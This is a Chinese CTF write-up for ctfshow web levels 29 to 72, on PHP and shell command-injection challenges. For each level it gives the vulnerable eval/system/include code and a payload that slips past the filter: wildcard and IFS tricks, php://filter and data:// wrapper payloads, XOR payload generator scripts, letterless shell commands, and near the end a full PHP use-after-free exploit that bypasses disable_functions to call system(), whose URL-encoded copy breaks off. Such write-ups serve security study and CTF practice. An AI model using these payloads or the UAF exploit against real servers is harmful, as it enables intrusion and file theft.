3.命令执行

1. web29 过滤flag

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

fla* 轻松绕过

2. web30 反引号执行系统命令

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

常见的有如下几个,其中 system 是有回显的,其他的需要我们自行输出。调用 echo 或者其他输出函数即可

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec() 
?c=echo `tac f*`;

3. web31 空格绕过

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

在linux 空格可以用以下字符串代替:

%09(tab)
$IFS$9
${IFS}
$IFS%09(tab)
<
<>
%20(space)等
Warning

在使用带有$的内容替换时,要注意转义,因为$在php中有特殊含义

?c=echo(`tac%09f*`);

4. web32 文件包含伪协议 与分号绕过

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤分号用 ?> 绕过
利用伪协议进行包含

?c=include$_POST[1]?>
1=php://filter/read=convert.base64-encode/resource=flag.php

5. web33 同32

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

6. web34 同32

?c=include$_POST[1]?>
1=php://filter/read=convert.base64-encode/resource=flag.php

7. web35 同32

?c=include$_POST[1]?>
1=php://filter/read=convert.base64-encode/resource=flag.php

8. web36 同32 替换传入参数即可

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这里多过滤了一个0-9

?c=include$_POST[a]?>
a=php://filter/read=convert.base64-encode/resource=flag.php

9. web37 data伪协议绕过flag

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

这里相比之前多了一个include($c);
那么就是利用伪协议进行命令执行了。 这里过滤了flag 所以不能使用 php://input php://filter 因为这两个都要输入完整的文件名

这里可以使用data伪协议进行命令执行

?c=data://,<?php system('tac fla*');

10. web38 base64编码的data伪协议

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhKicpOw==

11. web39 后缀拼接绕过

error_reporting(0);  
if(isset($_GET['c'])){    $c = $_GET['c'];  
    if(!preg_match("/flag/i", $c)){  
        include($c.".php");  
    }  
          
}else{    highlight_file(__FILE__);  
}

这里因为会给你拼接后缀 且还过滤了flag 所以也不能使用 php://input php://filter

?c=data:text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKT8+

12. web40 超多过滤

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

这里基本把所有能用的字符全过滤掉了。但是括号没有过滤掉,这里过滤的是中文括号
这里有多种方式

12.1. 方式1 session_id()

条件PHP版本5.5 -7.1.9 因为 session_id 规定为0-9,a-z,A-Z中的字符。
在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的。

利用
设置PHPSESSID=flag.php (因为里面有一个 .)所以只能在5.5 -7.1.9的PHP使用
然后传入payload

c=session_start();highlight_file(session_id()); //highlight_file查看文件
?c=session_start();system(session_id()); //system命令执行
Note

这里如果没有过滤掉0-9可以尝试用base64进行编码, PHPSSESID传入base64
然后命令执行时使用base64_decode(session_id())

12.2. 方式2 读文件+数组改造

此方法对php没有版本限制

这里需要用到下面几个函数
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos():返回数组中的当前元素的值。
array_reverse():数组逆序
scandir():获取目录下的文件
next(): 函数将内部指针指向数组中的下一个元素,并输出。

思路: 首先通过 pos(localeconv())得到点号,因为scandir(’.’)表示得到当前目录下的文件,所以scandir(pos(localeconv()))就能得到flag.php了

利用
获取当前路径下的文件

?c=print_r(scandir(pos(localeconv()))); 

Pasted image 20250116221957
这里我们需要获取到数组2的元素的值 flag.php
这里直接利用 array_reverse() 函数对数组进行逆序,
然后使用 next() 函数获取第二个数组的值,
最后使用 highlight_file() 函数高亮显示flag.php内容即可

?c=highlight_file(next(array_reverse(scandir(pos(localeconv()))))); 

12.3. 方法3 无参数RCE

参考文章:PHP的无参数RCE - 先知社区
get_defined_vars() 返回由所有已定义变量所组成的数组,会返回 $_GET, $_POST, $_COOKIE, $_FILES 全局变量的值
返回数组顺序为get->post->cookie->files

如果是使用get进行传参则使用

eval(end(current(get_defined_vars())));&cmd=phpinfo();

使用post传参则将 current 改成 next 即可,对于此题来说是利用post参数

?c=eval(end(next(get_defined_vars())));
post: cmd=system('tac flag.php');
分析

get_defined_vars()返回的是一个二重数组
next(get_defined_vars())获取二重数组中的POST数组
current(get_defined_vars())获取二重数组中的GET数组
end()返回对应数组中的值 可以用reset()进行替换

13. web41 异或无符号字母

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

先利用脚本生成出可以用的字符

<?php  
$myfile = fopen("res_xor.txt", "w");  
$contents="";  
for ($i=0; $i < 256; $i++) {  
    for ($j=0; $j <256 ; $j++) {  
  
        if($i<16){  
            $hex_i='0'.dechex($i);  
        }  
        else{  
            $hex_i=dechex($i);  
        }  
        if($j<16){  
            $hex_j='0'.dechex($j);  
        }  
        else{  
            $hex_j=dechex($j);  
        }  
        $preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可  
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){  
            echo "";  
        }  
  
        else{  
            $a='%'.$hex_i;  
            $b='%'.$hex_j;  
            $c=(urldecode($a)|urldecode($b));  
            if (ord($c)>=32&ord($c)<=126) {  
                $contents=$contents.$c." ".$a." ".$b."\n";  
            }  
        }  
  
    }  
}  
fwrite($myfile,$contents);  
fclose($myfile);

然后使用下面的脚本生成命令执行payload

import requests
import urllib
from sys import *
import os


def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("res_xor.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"|\"" + s2 + "\")"
    return (output)


while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
    print(param)
[+] your function:highlight_file
[+] your command:flag.php
("%08%09%07%08%0c%09%07%08%14%00%06%09%0c%05"|"%60%60%60%60%60%60%60%60%60%5f%60%60%60%60")("%06%0c%01%07%00%10%08%10"|"%60%60%60%60%2e%60%60%60");

这里还有另外一个版本的脚本,区别就是不用 | 使用 ^

<?php
$myfile = fopen("res.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
    for ($j=0; $j <256 ; $j++) {

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; //根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
            echo "";
        }

        else{
            $a='%'.$hex_i;
            $b='%'.$hex_j;
            $c=(urldecode($a)^urldecode($b));
            if (ord($c)>=32&ord($c)<=126) {
                $contents=$contents.$c." ".$a." ".$b."\n";
            }
        }

    }
}
fwrite($myfile,$contents);
fclose($myfile);
import requests
import urllib
from sys import *
import os


def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("res.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"^\"" + s2 + "\")"
    return (output)


while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
    print(param)

14. web42 分号隔断

使用分号隔断即可绕过

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

查看flag

?c=tac flag.php;

15. web43 过滤分号

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

分号过滤 可以使用 || 绕过

?c=tac flag.php ||

16. web44 过滤flag

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

通配符绕过即可

?c=tac f*||

17. web45 过滤空格

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤空格可以使用以下字符串进行肉绕过

%09
${IFS}
?c=tac%09f*||

18. web46 过滤星号

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这里过滤了 $ 与0-9 但是还是可以用%09绕过,因为会被优先进行Url解码
这里还过滤了星号 使用通配符号即可

?c=tac%09fla?.php||

18.1. 另一种方式 重定向绕过

这里可以使用重定向符号进行输出

?c=tac<fla\g.php||
Warning

使用重定向符号后不可以使用?不然会没有回显

19. web47 同46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

无非就是多过滤了一些查看文件的命令
这里继续使用tac绕过

?c=tac<fla\g.php||

20. web48 同46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
?c=tac<fla\g.php||

21. web49 同46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
?c=tac<fla\g.php||

22. web50 同46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
?c=tac<fla\g.php||

23. web51 过滤tac

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

23.1. linux读文件的多种命令

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
curl file:///root/f/flag
strings flag
uniq -c flag
bash -v flag
rev flag

这里有很多种读文件的方式
随便挑一个就行了

?c=uniq<fla\g.php||

24. web52过滤重定向符

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这里过滤了重定向符号,但是可以使用 $
使用 ${IFS} 绕过空格即可

?c=uniq${IFS}../../../../../fla\g||

25. web53 不拼接

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

这里与之前的题相比就是没有了拼接 >/dev/null 2>&1
我们就不需要用 || 进行断开了

?c=uniq${IFS}fla?.php

26. web54正则过滤

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

这里使用了大量的正则来匹配进行过滤

?c=uniq${IFS}f?ag.php

27. web55 过滤a-z

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

27.1. 方式1 数字编码 bash中用 $'\xxx' 表示字符

?c=$'\143\141\164'%20$'\146'*

\143\141\164 分别是字符 c a t的8进制ascii码表示形式
在bash中 $'\143\141\164' 就是cat

Warning

这里需要使用%20绕过空格过滤的原因并不是不能用这种方式表示空格
而是,$'\xxx\xxx\xxx'里面的\xxx\xxx\xxx会被看成一个完整的字符串。
而命令执行是需要命令参数的,这里就会把这整个字符串看作命令 所以执行失败
如把cat flag 中的参数flag也当成了命令去执行,肯定是不能执行成功的

27.2. 方式2 利用通配符表示bash中的命令进行输出

我们可以使用通配符 ???/????64 来表示 /bin/base64

?c=/???/????64 ????.???
即/bin/base64 flag.php

太抽象了。这东西...

28. web56 无字母数字的命令执行

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

首先发送一个上传文件的POST包

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="https://64ef7c2c-710d-4515-84c6-ce49ef1bad55.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

原理解释
具体原理请看p神的文章无字母数字webshell之提高篇 | 离别歌

Note

使用此POST包上传文件后,PHP会将我们上传的文件保存在临时文件夹下
默认的文件名是/tmp/phpXXXXXX
而这个文件名 我们就可以利用通配符 /???/????????[@-[]进行匹配
为什么利用这个通配符请看p神文章

上传后我们就可以利用 . file执行命令了

Pasted image 20250117201625

29. web57 $(()) 构造法

//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

这题的关键就是如何用剩下的字符构造出36

/?c=$((~$((]$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))
解释

echo ${_}:返回上一次命令的执行结果,若上一次没有命令输出,则为0
$(()) :括号里面没有任何内容 表示0
$((~$(()))):对$(())进行~操作 即对0按位取反得到-1
将上述的$((~$(())))复制多次拼在一起 就是-1-1-1-1-1
然后用$(())进行括起来运算就可以获取到-1-1-1-1-1=-5

然后再对整体进行按位取反操作获取到正数
按位取反的值就是 先取反后-1 如-37执行按位取反后就是 先变成+37 然后减一 得到36

此外,还可以用 ${##} 表示1 ;${#} 表示0 ${##}+${##} 表示1+1
核心就是利用 $(()) 进行算术运算
使用 1 0 -1 进行加减运算获取到指定的大小 然后利用 ~ 进行正负号的改变

?C=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

30. web58 过滤部分php函数

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

30.1. PHP常见读文件函数

Summary

file_get_contents() 读取文件内容并将其作为字符串返回
fread() 指定字节数从文件指针读取内容
fgets() 从文件指针中按行读取内容
fgetss() 从文件指针中按行读取内容,并去除 HTML 和 PHP 标记
file() 读取结果为数组,需要用 print_r 或 var_dump
parse_ini_file() 只能读取 ini 配置文件,并将内容作为数组返回
readfile() 直接读取文件并输出到浏览器
highlight_file() 将 PHP 文件的源代码语法高亮并输出到浏览器
show_source() highlight_file() 的别名
readgzfile() 读取.gz 压缩文件并直接输出其内容 也可以读取其他类型文件
var_export()类似与var_dump 但输出的格式是合法的php格式

c=highlight_file('flag.php');

31. web59 同58

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
c=highlight_file('flag.php');

32. web60 同58

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
c=highlight_file('flag.php');

33. web61 同58

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
c=highlight_file('flag.php');

34. web62 同58

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

这次换一种解法

c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php

35. web63 同58

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
c=highlight_file('flag.php');

36. web64 同58

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

再换一种

c=include("flag.php");var_dump(get_defined_vars());

37. web65 同58

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

再换一种

c=include("flag.php");echo $flag;

38. web66 同58但变位置了

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

这次放到根目录去了

c=print_r(scandir('/')); 列出根目录文件
c=include('/flag.txt');var_dump(get_defined_vars()); 获取flag

39. web67 同58 禁用了print_r

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
c=var_dump(scandir('/')); 使用var_dump替换print_r
c=include('/flag.txt');var_dump(get_defined_vars()); 获取flag

40. web68 同上 过滤highlight_file()

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

过滤highlight_file();用require()或者include()

c=require('/flag.txt');var_dump(get_defined_vars());

41. web69 同上 过滤var_dump();

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

过滤var_dump();用var_export()代替

c=require('/flag.txt');var_export(get_defined_vars());

42. web70 过滤 error_reporting(),ini_set();

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

换一个用用

c=readgzfile('/flag.txt');

43. web71 die();利用

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

这里有两个函数
ob_get_contents — 返回输出缓冲区的内容
ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲

代码逻辑就是 先运行 $c,然后将结果放在缓冲区,再将缓冲区的所有字母和数字替换为?.
可以在执行$c时使用 die(), exit() 直接退出程序不执行后面的代码 然后输出flag

c=include('/flag.txt');die();

44. web72 Bypass open_basedir

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

这里不让我们进行目录穿越了。
我们可以使用glob://伪协议绕过 open_basedir 文件目录访问限制
glob://伪协议读目录

c=?><?php $a=new DirectoryIterator("glob://./*"); foreach($a as $f) { echo($f->__toString().' '); } exit(0); ?>

Pasted image 20250117221837

使用uaf脚本进行文件读取 记得对内容进行url编码

<?php

function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) ;

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
?>
c=function%20ctfshow%28%24cmd%29%20%7B%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0Aclass%20Vuln%20%7B%0A%20%20%20%20public%20%24a%3B%0A%20%20%20%20public%20function%20__destruct%28%29%20%7B%20%0A%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20unset%28%24this-%3Ea%29%3B%0A%20%20%20%20%20%20%20%20%24backtrace%20%3D%20%28new%20Exception%29-%3EgetTrace%28%29%3B%0A%20%20%20%20%20%20%20%20if%28%21isset%28%24backtrace%5B1%5D%5B%27args%27%5D%29%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace%28%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%7D%0A%0Aclass%20Helper%20%7B%0A%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%7D%0A%0Afunction%20str2ptr%28%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208%29%20%7B%0A%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20for%28%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--%29%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord%28%24str%5B%24p%2B%24j%5D%29%3B%0A%20%20%20%20%7D%0A%20%20%20%20return%20%24address%3B%0A%7D%0A%0Afunction%20ptr2str%28%24ptr%2C%20%24m%20%3D%208%29%